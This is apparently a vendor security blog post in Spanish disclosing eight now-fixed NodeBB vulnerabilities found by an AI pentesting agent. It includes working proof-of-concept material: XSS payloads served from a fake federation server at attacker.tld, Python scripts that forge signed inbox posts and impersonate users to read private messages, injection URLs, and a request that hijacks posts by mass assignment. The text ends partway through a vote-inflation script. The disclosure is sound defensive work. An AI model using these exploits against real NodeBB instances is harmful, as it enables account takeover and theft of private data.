Aikido

Detección de ocho vulnerabilidades de alta gravedad en NodeBB en seis horas

Escrito por
Jorian Woltjer

TL;DR

  • Las versiones de NodeBB anteriores a la 4.14.0 contienen múltiples vulnerabilidades de gravedad alta.
  • Actualiza a versiones más recientes para solucionar las vulnerabilidades.
  • Aikido señalará automáticamente las instancias vulnerables.

Mientras mejorábamos nuestra prueba de penetración con IA, llevamos a cabo una evaluación de caja blanca en NodeBB, un software de foros basado en NodeJS. ¿El resultado? Ocho vulnerabilidades de alta gravedad, todas ellas explotables en instancias predeterminadas de NodeBB. Entre ellas se incluyen cross-site scripting, dos de los cuales requieren interacción con un servidor de federación personalizado que el agente de IA tuvo que configurar por sí mismo. Otra afecta prácticamente a todas las entradas de NodeBB debido a una inyección de plantillas.

Aparte de estos problemas, se detectaron ingeniosas formas de eludir los controles de autorización para secuestrar y leer diversos datos que no deberían ser públicos. A continuación explicamos todos los detalles técnicos más interesantes.

Un aspecto interesante de estas pruebas de penetración autónomas es que completan sus pruebas en tan solo unas horas. Los agentes propusieron ideas, analizaron el código y realizaron pruebas rigurosas con la aplicación real para presentar conclusiones reales. Las pruebas de penetración dirigidas por personas suelen tardar mucho más, ya que no pueden multiplicar sus esfuerzos con la misma facilidad.

Tras descubrir las vulnerabilidades, enviamos rápidamente un informe a los responsables del mantenimiento de NodeBB, quienes respondieron con gran rapidez y comenzaron de inmediato a trabajar en las correcciones. Los problemas se solucionaron a principios de julio.

Vamos a profundizar en los detalles técnicos de las vulnerabilidades, empezando por algunas de tipo XSS.

Ataque de tipo «cross-site scripting» en el icono personalizado del perfil del servidor de federación

Esto dista mucho de ser una inyección XSS reflejada sencilla al uso, ya que requiere la configuración de todo un servidor personalizado para responder con una carga maliciosa de XSS. No obstante, los agentes que utilizamos son excelentes programadores, por lo que analizan con facilidad las indirecciones y crean servidores personalizados para probar cualquier tipo de hallazgo.

Todo empieza con helpers.common.js, que contiene bastantes concatenaciones de código HTML que levantan sospechas. La que vamos a analizar es:

function buildMetaTag(tag) {
  const name = tag.name ? 'name="' + tag.name + '" ' : '';
  const property = tag.property ? 'property="' + tag.property + '" ' : '';
  const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';

  return '<meta ' + name + property + content + '/>\n\t';
}

En las header.tpl, cada uno metaetiquetas El elemento se representa utilizando la función anterior:

{{{each metaTags}}}{función.buildMetaTag}{{{end}}}

Los datos del usuario se pasan a res.locals directamente aquí:

if (userData.picture) {
  res.locals.metaTags.push(
    {
      property: 'og:image',
      content: userData.picture,
      noEscape: true,
    },
    {
      property: 'og:image:url',
      content: userData.picture,
      noEscape: true,
    }
  );
}

Aunque otras propiedades como userData.nombreCompleto se escapan previamente mediante la conversión de " caracteres en ", la otra propiedad userData.picture no es (véase accounts/helpers.js). La URL de .imagen es un archivo subido por el usuario que, normalmente, apunta a una cadena segura como, por ejemplo:
/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png

Así que, aunque este valor no esté correctamente escapado, como el nombre completo, ¿cómo podemos manipularlo para que genere una cadena maliciosa que contenga ">?

El truco está en que esta URL se puede establecer de forma arbitraria cuando se trata de perfiles federados. El concepto de federación en este caso consiste en interactuar con una red descentralizada de otras instancias que tienen sus propios usuarios y temas. Los datos se copian prácticamente al 100 %, por lo que, si conseguimos devolver datos maliciosos mediante una URL que eluda la sintaxis HTML entre comillas, habremos entrado.

Tendremos que crear un servidor de federación personalizado que responda a /.well-known/webfinger haciendo referencia al usuario XSS, y a continuación devolver nuestra carga útil XSS como el icon.url allí:

/.well-known/webfinger?resource=acct:xss@attacker.tld:

{
  "links": [
    {
      "href": "https://attacker.tld/ap/actor/xss",
      "rel": "self",
      "type": "application/activity+json"
    }
  ],
  "subject": "acct:xss@attacker.tld"
}

/ap/actor/xss:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    "https://w3id.org/security/v1"
  ],
  "icon": {
    "mediaType": "image/jpeg",
    "type": "Image",
    "url": "\"><img src onerror=\"alert(origin)\">"
  },
  "id": "https://attacker.tld/ap/actor/xss",
  "inbox": "https://attacker.tld/ap/inbox/xss",
  "preferredUsername": "xss",
  "publicKey": {
    "id": "https://attacker.tld/ap/actor/xss#main-key",
    "owner": "https://attacker.tld/ap/actor/xss",
    "publicKeyPem": "dummy"
  },
  "type": "Person"
}

Con este servidor a la escucha en attacker.tld, lo único que tiene que hacer la víctima es buscar a un usuario en el dominio malicioso o visitar directamente un enlace que apunte a él:

https://nodebb.local/user/xss@attacker.tld

El backend recupera attacker.tld el xss usuario en /.well-known/webfinger, que hace referencia a /ap/actor/xss. Se recupera esta información, devolviendo la carga útil de XSS, que se muestra directamente en el <meta> etiqueta. Con el "><img> carga útil, permite salirse del HTML y activar un alerta(origen) Ventana emergente con JavaScript:

Aparece una ventana emergente de nodeBB en localhost en una cloudflare de error cloudflare

Este problema se ha solucionado (4c4bf76) aplicando también el escape a la información procedente de fuentes federadas.

Errores de «Cross-Site Scripting» en la vista de administración de la federación

Seguiremos con la temática de Federation, ya que se ha detectado otra vulnerabilidad XSS en el registro de errores de los administradores. Cabe destacar que, aunque solo los administradores pueden ver estos registros, cualquier atacante no autenticado puede almacenar la carga útil. Aprovechar esta vulnerabilidad requería una configuración por parte del atacante aún más compleja que en el caso del último XSS, pero los agentes lograron descifrarla de todos modos.

El fregadero es sencillo. Por dentro errors.tpl, la {./id} La variable se incrusta en el código HTML.

<code>{./id}</code>

Aunque no supone ningún problema para la mayoría de las configuraciones de plantillas, en NodeBB la función de escape automático de Benchpress se desactiva explícitamente aquí, sustituyéndola por una función de identidad:

        __escape: identity,
    };

    function identity(str) {
        return str;
    }

NodeBB se basa en el escape manual de las variables que se pasan a las plantillas. Uno de los puntos en los que esto se pasa por alto es el id de errores de federación. Y quizá te preguntes: ¿cómo provocamos un error de este tipo? Escribimos otro servidor de federación personalizado, por supuesto, pero esta vez un poco defectuoso.

En primer lugar, configuraremos un servidor como hemos hecho anteriormente, pero, lo que es más importante, generaremos y pondremos a disposición una clave pública para firmar mensajes.

/actor:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "id": "https://attacker.tld/actor",
  "type": "Person",
  "preferredUsername": "evil",
  "inbox": "https://attacker.tld/inbox",
  "publicKey": {
    "id": "https://attacker.tld/actor#main-key",
    "owner": "https://attacker.tld/actor",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
  }
}

A continuación, añade un /.well-known/webfinger punto final como antes, que devuelve cualquier cuenta:

/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:

{
  "subject": "acct:evil@attacker.tld",
  "links": [
    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://attacker.tld/actor"
    }
  ]
}

Ahora que tenemos un servidor en attacker.tld Con una clave que conocemos, podemos enviar actualizaciones de NodeBB a través del /bandeja de entrada ruta. Cada tipo que enviamos se gestiona mediante una función específica en inbox.js. El middleware verifica una firma utilizando ActivityPub.verify, que básicamente toma una serie de atributos de la solicitud y comprueba que estén firmados por la clave pública del servidor de federación. Hemos creado nuestro propio servidor, así que ahora esa parte es sencilla.

Para provocar un error, podemos tomar el primero de actualización de la bandeja de entrada:

inbox.update = async (req) => {
  const { actor, object } = req.body;
  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);

  // Origin checking
  const actorHostname = new URL(actor).hostname;
  const objectHostname = new URL(object.id).hostname;
  if (actorHostname !== objectHostname) {
    throw new Error('[[error:activitypub.origin-mismatch]]');
  }

[[error:activitypub.origin-mismatch]] ocurre cuando el actor y object.id de nuestra solicitud no coinciden. Podemos falsificarlo fácilmente.
Es importante destacar que el id La información que proporcionemos se almacenará junto con el error y, como ya hemos visto, se muestra de forma insegura como código HTML en el panel de administración. Por lo tanto, la configuraremos como una carga útil XSS del tipo <img src onerror=alert(origin)>.

El script final tiene este aspecto:

# Craft payload
payload = {
    '@context': 'https://www.w3.org/ns/activitystreams',
    'id': '<img src onerror=alert(origin)>',
    'type': 'Update',
    'actor': f'https://attacker.tld/actor',
    'object': {
        # Different origin than actor to trigger an error path
        'id': 'https://nodebb.local/post/1',
        'type': 'Note'
    },
    'to': ['https://www.w3.org/ns/activitystreams#Public']
}

# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
    'Host': u.netloc,
    'Date': date,
    'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
    'Accept': 'application/activity+json',
    'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}

# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])

Tras enviar esta carga útil, debería conectarse al servidor personalizado del atacante para verificar la firma y, a continuación, al actor al que se hace referencia. Dado que los orígenes de actor y object.id Si los datos de la carga útil difieren, se genera un error y se crea una entrada en la página «Errores de la federación» del panel de administración.

Ahora, cuando un administrador acceda a esta página para comprobar si hay errores, se le mostrará un cuadro de alerta de JavaScript, ya que nuestro código malicioso <img> La etiqueta se interpretó como código HTML auténtico entre las etiquetas <code>:

A partir de aquí, un atacante puede hacerse con el control total de toda la instancia de NodeBB, ya que JavaScript permite obligar a un administrador a hacer cualquier cosa.

Este problema se ha solucionado (16bda6b) aplicando caracteres de escape a todos los campos que se muestran en los «Errores de federación».

Ataque de tipo «cross-site scripting» mediante la inyección de plantillas de traducción

La última vulnerabilidad XSS detectada fue otra muy interesante. Tiene que ver con la forma en que se representan las plantillas. Para devolver un cuerpo, NodeBB sigue básicamente estos dos pasos (definidos en render.js):

  1. Generar la plantilla de «Benchpress» con variables de entrada (sintaxis: {...})
  2. Interpretar claves de traducción (sintaxis: [[...]])
function renderContent(render, tpl, req, res, options) {
  return new Promise((resolve, reject) => {
    render.call(res, tpl, options, async (err, str) => {
      if (err) reject(err);
      else resolve(await translate(str, getLang(req, res)));
    });
  });
}

Ya hemos visto en la vulnerabilidad anterior qué problemas pueden surgir con Benchpress. Ahora nos centraremos en el transformar() función, que se produce, fundamentalmente, después de nuestra entrada se inserta en la plantilla.

La vulnerabilidad ya empieza aquí. Porque nuestra entrada ya se ha colado en str para cuando se ejecuten las traducciones, si podemos escribir lo mismo [[...]] sintaxis, se interpretaría. [ o ] no se consideran caracteres especiales por parte de escapeCharMap dentro utils.common.js, solo &<>"'`= son.

De hecho, cada página muestra la URL en un <meta property="og:url"> propiedad. Podemos introducir una clave de traducción en esta misma propiedad para ver el resultado. Las claves de traducción se almacenan por espacio de nombres; por ejemplo, topic.json contiene "flag-user": "Marcar a este usuario". Si nos remitimos a eso:

https://nodebb.local/test[[topic:flag-user]]

<meta property="og:url" content="https://nodebb.local/testFlag this user" />

Se ha interpretado correctamente. Algunos mensajes son más complejos y contienen marcadores de posición con %1 y %2, que podemos controlar mediante argumentos separados por comas. Por ejemplo:

"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"

Está a punto de pasar algo interesante porque la traducción contiene " (para definir el href), mientras que el contexto en el que lo insertamos no es texto, sino un meta content= atributo, utilizando también comillas dobles para encerrar su valor.

https://nodebb.local/test[[topic:merged-message,A,B]]

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />

Gracias al resaltado de sintaxis, se puede ver que lo que antes era la comilla de apertura de href=, es ahora la cita de cierre de content=. Eso significa empezar por nuestro A, ¡estamos en un contexto de definición de atributos y podemos añadir cualquier atributo a esta etiqueta!

Sin embargo, si simplemente sustituimos A con onerror=alert(), nos encontramos con una imagen triste:

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror&#x3D;alert()">B</a>" />

Aunque parece que el atributo se transmite, el signo igual (=) se ha convertido en &#x3D;. ¿Te acuerdas? En escapeCharMap, el signo igual se considera un carácter especial y siempre se escapa en HTML en la salida. Por lo tanto, no podemos añadir valores a los atributos para convertir esta inyección en un ataque XSS.

Sin embargo, no hay que perder la esperanza, ya que la plantilla que utilizamos, mensaje fusionado, coloca nuestro primer parámetro (A) directamente en el href= de esto <a> etiqueta. Utilizando un javascript: En el caso de URI, sigue siendo posible ejecutar código JavaScript arbitrario al hacer clic. Solo tenemos que hacerlo después de nuestra primera escape atributo añadiendo otra etiqueta de plantilla:

https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]

<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK&#37;20ME</a>" />

A nivel visual, ahora hay un encabezado en la página con el texto HAGA CLIC AQUÍ. Al hacer clic, se ejecuta el código JavaScript y alerta(origen) Se muestra lo siguiente:

Acabamos de demostrar el PoC con el ejemplo de reflexión más fácil de probar: la propia URL. Pero esto funciona en cualquier salida generada por NodeBB. En la URL, estamos limitados a caracteres codificados según el estándar URL, como %20. En la sección exclusiva para administradores /flags?quick= punto final, el valor de rápido también se refleja, ¡pero está descodificada de la URL!

Para terminar la demostración de viabilidad, podemos darle un toque más realista utilizando emojis que se parezcan a los iconos oficiales y pidiendo al usuario que actualice con un mensaje del tipo «⚠️ Se requiere una actualización»:

https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required

<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Una vez más, al hacer clic en el botón se ejecutaría código JavaScript arbitrario. Esta fue la prueba de concepto inicial que utilizó el agente para informar del problema.

La carga útil puede incluso almacenarse en las publicaciones de NodeBB, lo que facilita compartirla con otros usuarios. El problema subyacente es que todo el contenido generado pasa por un proceso de traducción en el que las entradas de los usuarios pueden utilizar la misma sintaxis.

Solucionar este problema resultó más complicado. Como hemos visto, se trata más bien de un problema de diseño que de un error concreto en algún lugar. Esto se debe a que las traducciones siempre se realizan después de la representación de la plantilla, y en la plantilla se permiten los caracteres de traducción.

La solución más sencilla sería aplicarescape [ y ] caracteres para asegurarse de que no se interpreten como traducciones. Pero resulta que algunas funciones o complementos, en realidad, Requerir poder generar secuencias de traducción a partir de variables de plantilla. Esto supondría un cambio que afectaría a la compatibilidad.

Como solución inicial, NodeBB intentó escape manualmente escape los lugares en los que se muestra la entrada del usuario con translator.escape(). Sin embargo, esto no está completo, así que añadieron mucho trabajo reestructurar el sistema de traducción para que puede se aplicará el escape automático, y se corregirán las funciones y los complementos para que gestionen correctamente este cambio que afecta a la compatibilidad. Esto ya se ha implementado en la versión 4.14.0.

Como medida de seguridad adicional, el código HTML generado por las funciones del traductor ahora también está desinfectado, de modo que, aunque un atacante controle el texto, no pueda escribir javascript: hrefs.

Cómo eludir el middleware de autorización de administrador mediante una página de inicio personalizada

Esta es una solución sencilla pero ingeniosa. Si echamos un vistazo al middleware de NodeBB, encontramos este fragmento de código encargado de gestionar la autorización para /admin rutas en el interior middleware/admin.js:

middleware.checkPrivileges = helpers.try(async (req, res, next) => {
  // Kick out guests, obviously
  if (req.uid <= 0) {
    return controllers.helpers.notAllowed(req, res);
  }

  // Otherwise, check for privilege based on page (if not in mapping, deny access)
  const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
  if (path) {
    const privilege = privileges.admin.resolve(path);
    if (!await privileges.admin.can(privilege, req.uid)) {
      return controllers.helpers.notAllowed(req, res);
    }
  } else {
    // If accessing /admin, check for any valid admin privs
    const privilegeSet = await privileges.admin.get(req.uid);
    if (!Object.values(privilegeSet).some(Boolean)) {
      return controllers.helpers.notAllowed(req, res);
    }
  }

A primera vista, todo parece correcto. Si privileged.admin.get() Si no devuelve nada, no se te permite el acceso. Lo fundamental es que este middleware está registrado para el /admin ruta antes de gestión de reescrituras personalizadas de la página de inicio en routes/index.js:

router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);

// handle custom homepage routes
router.use('/', controllers.home.rewrite);

Como función, cualquier usuario puede configurar que su página de inicio se redirija a otra URL. Esto se lleva a cabo mediante otro middleware que se activa al /. Internamente, establece req.url para reflejar el valor configurado:

async function rewrite(req, res, next) {  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
    return next();
  }
  ...
  route = await getUserHomeRoute(req.uid, next);  parsedUrl = new URL(route, 'http://localhost.com');  const pathname = parsedUrl.pathname.replace(/^\/+/, '');  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;  ...  next();


siguiente()
se le pide que siga buscando la ruta real, pero ahora esto es después de Ya se han realizado las comprobaciones de la ruta de administración.

Esto significa que, si configuras tu página de inicio personalizada como /admin, verás el panel de control de administración, incluso si eres un usuario normal. No es necesario tener acceso de administrador.

Lo único que nos «impide» hacerlo es un código del lado del cliente que recupera el valor configurado cuando intentas guardarlo, antes de enviar realmente la configuración al servidor:

$.get(config.relative_path + '/' + settings.homePageCustom, function () {
  saveSettings(settings);
}).fail(function () {
  alerts.error('[[error:invalid-home-page-route]]');
});

Esta comprobación se puede eludir fácilmente enviando directamente un PUT /api/v3/users/:id/settings solicitarlo o utilizar un punto de interrupción en el navegador para omitir la comprobación y llamar a saveSettings() directamente.
Después de configurarlo en admin/avanzado/caché, por ejemplo, podemos recargar el / página y verás un montón de información interna destinada a los administradores:

Incluso se puede acceder a las API a través de /api/admin, sin embargo, la mayoría de las API para realmente edición los datos pasan por /api/v3/admin. Estas son las rutas de «escritura» y cuentan con comprobaciones de privilegios adicionales dentro del controlador de cada ruta. Por lo tanto, no son vulnerables a este ataque.
Aun así, esto conlleva una exposición o modificación significativa de los datos:

  • GET /api/admin/users/csv: Obtener la exportación en formato CSV de todos los usuarios, si existe. Las columnas dependen de lo que se haya seleccionado en la última exportación realizada por el administrador.
  • GET /api/admin/advanced/errors: Lee todos los registros de errores
  • POST /api/admin/manage/categories: Añadir la categoría «Remoto» a la lista de la barra lateral
  • POST /api/admin/uploadlogo: Actualizar el logotipo del sitio

Este problema se ha solucionado (9885f94) reordenando el middleware para que realice las comprobaciones de permisos tras la reescritura.

Falsificación de la identificación de usuario para leer mensajes privados

Para poder comunicarse con otras redes sociales, NodeBB implementa ActivityPub, que es un protocolo para compartir usuarios y contenidos entre instancias. La seguridad criptográfica se garantiza asignando a cada usuario una clave pública con la que puede firmar sus acciones. En las solicitudes, un Firma: Se añade una etiqueta de encabezado con atributos como keyId y firma.

El ActivityPub.verify Esta función las valida correctamente:

ActivityPub.verify = async (req) => {
  ...
  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
    const split = cur.split('="');
    const key = split.shift();
    const value = split.join('="');
    memo[key] = value.slice(0, -1);
    return memo;
  }, {});
  const signed_string = headers.split(' ').reduce((memo, cur) => {
     ...  }, []).join('\n');
  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);

  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));

Si observamos dónde se utiliza esta función, solo vemos su ubicación en el activitypub.js middleware aquí:

middleware.verify = async function (req, res, next) {
  // Verifies the HTTP Signature if present (required for POST)
  const passthrough = [/\/actor/, /\/uid\/\d+/];
  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
    return next();
  }

  if (req.method === 'POST') {
    const verified = await activitypub.verify(req);    if (!verified) {
      return res.sendStatus(400);
    }
  }

  if (req.headers.signature) {
    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
    if (keyId.length) {
      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');

Curiosamente, solo funciona activitypub.verify(req) si el req.method === 'POST'! Por alguna razón, no se verifica la firma de las solicitudes GET. ¿A qué puntos de acceso podemos acceder con esto?

En realidad, solo hay un punto final que utiliza req.uid para la autenticación, y eso es GET /message/:mid. En middleware/assert.js Leemos:

!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))

Este punto final recupera los mensajes privados de req.params.mid:

Actors.message = async function (req, res) {
  ...
  const messageObj = await messaging.getMessageFields(req.params.mid, []);
  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
  const payload = await activitypub.mocks.notes.private({ messageObj });
  res.status(200).json(payload);
};

Ahora ya tenemos una visión completa. El Firma: El encabezado solo se verifica en las solicitudes POST, por lo que el GET /message/:mid El punto final no verifica el keyId= atributo. Con él, podemos suplantar la identidad de cualquier persona y filtrar los identificadores de los mensajes incrementales uno a uno para comprometer por completo los chats privados.

# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')

# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
    for uid, name in users:
        headers = {
            'Accept': 'application/activity+json',
            'Signature': f'keyId="{uid}"',
        }
        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
        if r.ok:
            j = r.json()
            content = j.get("content", "")[:80].strip()
            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')

Este problema ya se ha solucionado (f6b5cd8) simplemente configurando req.uid en una rama de código en la que activitypub.verify() Ya se ha verificado el encabezado «Signature».

Secuestro de mensajes con asignación masiva de PID

Con todos estos cuerpos JSON, es muy probable que haya algunos errores de «Mass Assignment», así que eso es lo que el agente buscó a continuación. Si no estás familiarizado con este tipo de error, consiste en añadir campos internos a tu solicitud para sobrescribirlos sin que la aplicación web lo permita.
Esto suele ocurrir cuando se analiza todo el cuerpo de una solicitud y se introduce en la base de datos. ¿Hay algún patrón similar en este código?

Aquí, en el POST /api/v3/topics, en el punto final leemos:

Topics.create = async (req, res) => {
  const id = await lockPosting(req, '[[error:already-posting]]');
  try {
    const payload = await api.topics.create(req, req.body);

Hace exactamente lo que buscamos, pasando req.body en topicsAPI.create(). Su implementación llama posteriormente a Posts.create que se basa en el dato proporcionado data.pid:

const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };

El pid La propiedad es el ID de la entrada, que es único, por lo que cualquier entrada se puede localizar mediante este número. Ten en cuenta que esto difiere ligeramente de un tema, ya que un tema puede tener varias publicaciones (respuestas) en su interior.
La primera publicación de cualquier foro de NodeBB es siempre un mensaje del administrador que dice: «¡Bienvenido a tu NodeBB!»:

Un foro de NodeBB. Hay un mensaje de bienvenida de un usuario llamado «admin» que dice: «Bienvenido a tu nuevo foro de NodeBB», junto con texto estándar adicional de NodeBB.

Su ID es siempre 1, y las nuevas entradas se van añadiendo a partir de ahí. ¿Qué pasaría si creáramos un new publicación que también contiene pid: 1? ¡Vamos a probarlo!

POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json

{
    "title": "title",
    "content": "OVERWRITTEN BY ATTACKER",
    "cid": 2,
    "tags": [],
    "thumbs": [],
    "timestamp": 0,
    "pid": 1
}

Volviendo al mensaje de bienvenida:

El primer comentario de la página de bienvenida lo ha publicado el usuario pentest_member.

¡Hemos tomado el control de la publicación! Pero parece que el contenido aún no se ha actualizado. Sin embargo, como ahora somos los propietarios, solo tenemos que editarla rápidamente y volver a guardarla para actualizar el contenido de verdad:

En la página de bienvenida, el mensaje de bienvenida ha cambiado a «SOBREESCRITO POR EL ATACANTE».

La URL sigue siendo la misma, y cualquiera que vuelva a esta entrada verá el nuevo contenido del atacante. Si a esto le sumamos una cuenta que se parece a la original, puede resultar muy eficaz para manipular parte del contenido, como por ejemplo cambiar comandos maliciosos para copiarlos en algún tutorial.

Este problema ya se ha solucionado (7f08fb9) eliminando el pid propiedad del cuerpo de la solicitud, por lo que ya no puede sobrescribir el campo interno.

Leer todas las categorías sin necesidad de autenticarse

This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".

De verdad que es así de sencillo. La ruta /categoría/:cid/bandeja de salida se gestiona mediante la siguiente función, que no realiza comprobaciones de autorización, sino que devuelve todos los temas de una categoría determinada (incluidos los privados), a los que hace referencia un cid.

Controller.getCategoryOutbox = async (req, res) => {
  const { cid } = req.params;
  const { page } = req.query;
  const set = `cid:${cid}:pids`;
  const count = await db.sortedSetCard(set);
  const collection = await activitypub.helpers.generateCollection({
    set,
    count,
    page,
    perPage: 20,
    url: `${nconf.get('url')}/category/${cid}/outbox`,
  });
	...
  res.status(200).json({
    '@context': 'https://www.w3.org/ns/activitystreams',
    ...collection,
  });
};

Una sencilla solicitud GET a /category/2/outbox con el encabezado «Accept: application/activity+json» para activar ActivityPub devuelve una lista sin filtrar de todas las publicaciones correspondientes a ese ID de categoría. Aquí tienes una categoría privada que hemos creado y a la que solo tienen acceso los administradores:

Sin autenticación, se puede acceder al siguiente contenido:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "OrderedCollection",
  "totalItems": 2,
  "orderedItems": [
    {
      "object": {
        "object": {
          ...
          "name": "secret content",
          "url": "https://nodebb.local/post/2",
          "content": "<p>SUPER SECRET CONTENT</p>\n"
    }}},
    {
      "object": {
        "object": {
          ...
          "inReplyTo": "http://4.245.3.4:4567/post/2",
          "name": "secret content",
          "url": "https://nodebb.local/post/3",
          "content": "<p>replies too!</p>\n"
        }

Este problema ya se ha solucionado (8e98325) añadiendo un temas:leer Comprobación de permisos en la ruta de la bandeja de salida.

Inflación de votos positivos por parte de un usuario sin control

Esto último es más bien una curiosidad, pero podría utilizarse indebidamente para enviar spam o manipular. ¡Uno de los agentes ha descubierto una forma de dar «me gusta» infinitas veces a una publicación! (Hablando de infinito… Echa un vistazo a ¡Aikido Infinite pentesting continuo! ;) )

Hay dos formas de votar a favor de una publicación («Me gusta» en ActivityPub):

  1. Directamente a través de /bandeja de entrada o /uid/:uid/bandeja de entrada, verificado con el ID de clave «Signature»
  2. Incluido en un mensaje de «Anuncio» a través de /categoría/:cid/bandeja de entrada

En un mensaje de este tipo, se indica un actor que representa a la persona que realizó la acción. El middleware autoriza a este actor mediante el encabezado «Signature» del keyId, concretamente el req.body.actor campo:

middleware.assertPayload = helpers.try(async function (req, res, next) {
  ...
  let { actor } = req.body;

  const { hostname } = new URL(actor);
  const allowed = await activitypub.instances.isAllowed(hostname);

  await activitypub.actors.assert(actor);
  let compare = await db.getObjectsFields([
    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
  ], ['id']);
  compare = compare.reduce(...).replace(/#[\w-]+$/, '');

  if (compare !== keyId) {
    return res.sendStatus(403);
  }

Esto funciona muy bien para el primer punto final, porque su actor Es necesario verificar esta propiedad. A continuación se muestra un ejemplo de mensaje:

{
  "id": "https://nodebb.local/uid/42#activity/like/3",
  "type": "Like",
  "actor": "https://nodebb.local/uid/42",
  "to": ["https://www.w3.org/ns/activitystreams#Public"],
  "cc": ["https://nodebb.local/uid/7"],
  "object": "https://nodebb.local/post/3"
}

Sin embargo, el formato de un mensaje de «Anuncio» es diferente; los «Me gusta» actor está integrado en un objeto:

{
  "id": "https://nodebb.local/post/3#activity/announce/1717234567890",
  "type": "Announce",
  "actor": "https://nodebb.local/category/1",
  "to": ["https://nodebb.local/category/1/followers"],
  "cc": [
    "https://nodebb.local/uid/42",
    "https://www.w3.org/ns/activitystreams#Public"
  ],
  "object": {
    "id": "https://nodebb.local/uid/42#activity/like/3",
    "type": "Like",
    "actor": "https://nodebb.local/uid/42",
    "to": ["https://www.w3.org/ns/activitystreams#Public"],
    "cc": ["https://nodebb.local/uid/7"],
    "object": "https://nodebb.local/post/3"
  }
}

Porque ambos utilizan el mismo assertPayload middleware, la segunda forma utilizando el formato «Announce» no está verificado. El actor puede ser cualquier cadena aleatoria y única que sirva para crear un nuevo usuario. En este caso, el Me gusta Se reconoce el tipo de objeto y se utiliza directamente objeto.actor en posts.upvote():

case object.type === 'Like': {
  const id = object.object.id || object.object;
  const { id: localId } = await activitypub.helpers.resolveLocalId(id);
  const exists = await posts.exists(localId || id);
  if (exists) {
    try {
      await activitypub.actors.assert(object.actor);
      const result = await posts.upvote(localId || id, object.actor);

Un atacante puede enviar repetidamente solicitudes como esta para aumentar progresivamente el número de votos positivos de una publicación, con miles por minuto, con el fin de inflar por completo la credibilidad de la misma.

POST_ID = 1  # Target post
payload = {
    'id': str(uuid.uuid4()),
    'type': 'Announce',
